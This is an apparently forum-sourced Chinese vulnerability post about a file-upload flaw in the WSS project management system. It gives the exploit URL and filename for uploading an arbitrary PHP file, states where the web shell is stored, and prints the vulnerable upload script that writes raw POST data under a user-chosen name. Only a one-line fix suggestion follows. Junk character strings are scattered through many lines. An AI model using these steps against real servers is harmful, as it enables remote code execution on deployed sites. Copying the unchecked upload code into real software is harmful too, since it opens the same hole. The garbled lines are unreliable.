WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
8 ^0 n& |9 b3 @6 i" m; j7 n4 B 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
* X  }# s% H" X& H: [0 w
利用：
. M# F0 z3 O' \1 M/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
( A1 Y" b' g1 @  j( L. n1 b
5 }! n- `2 _: _) x- r2 _" Z) d. ePost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php


' a7 z( `  s) A, }! g- @/ L3 W最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
& O( \7 L- p0 k' n
<?php

//
// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
9 ]! ~0 d) I: D8 q( D# m//
+ Z! r5 J; K4 x6 B1 R5 |
- q; x+ L! w& |6 d# f; R( q- j9 ~/*
: G7 x( {' {' M* a, r6 k% C
print_r( $_GET );
+ h0 x+ w; r, W" Aprint_r( $_POST );
* N% T' t' e. ?. Oprint_r( $_FILES );
6 q6 x* Y% R2 N% v# \8 |* B1 z5 E
print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
& Y4 a7 a  k6 B7 X- m* Z
' {% A8 [8 O: T' Y5 U* V/ Zif (!file_exists($default_path)) mkdir($default_path, 0777, true);

; t5 {- L* q; O# F1 M( l" f, u// full path to the saved image including filename //
( p$ V/ _0 Y6 w7 q$destination = $default_path . basename( $_GET[ 'name' ] );

echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

  J$ w: \0 y( @' L$ l//
1 k3 q8 Q  C5 f! R, V0 h// POST data is usually string data, but we are passing a RAW .png
4 P; r0 v, Y! T& N2 C- s// so PHP is a bit confused and $_POST is empty. But it has saved
$ G2 v; w- G+ u; H// the raw bits into $HTTP_RAW_POST_DATA
//
) e# M6 m# \- F, g5 I- N
7 ^# j4 [7 w; ]- z  C$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
& I5 T3 K3 q5 m5 K! F; Y& h// LOOK:
: w! E  C, D* p" U2 v+ ~//
5 G. W3 j- l7 C. _, t% ]exit();
//
// PHP5:
//
0 T6 j, g7 N, v: c

// default path for the image to be stored //
/ R; L+ Y" P: ]# W7 y8 t$default_path = 'tmp-upload-images/';
' Y0 c/ ~; P% Y- t% Y
& J" @/ s6 N& a( O4 E1 K7 B. Iif (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$ W4 w" _+ d3 S9 Y4 ~( a$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
) e& k1 r) t  C/ v% x2 q' j
// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
$ J0 }; V9 N5 X* y7 R  O; U} else {
7 q0 B! }  T& P! f( O    echo "FILE UPLOAD FAILED";
( e5 U6 l# C; y! v6 g. ], |}


?>


* ?) D/ Q7 _3 I
' s% H1 c2 N. ]
9 l) h9 g, b- @- F8 E) P$ s

修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
7 ]5 n& ~* x$ N' N

* K# B" |1 I% X4 W* n

0 R2 f  D2 l2 t( C7 @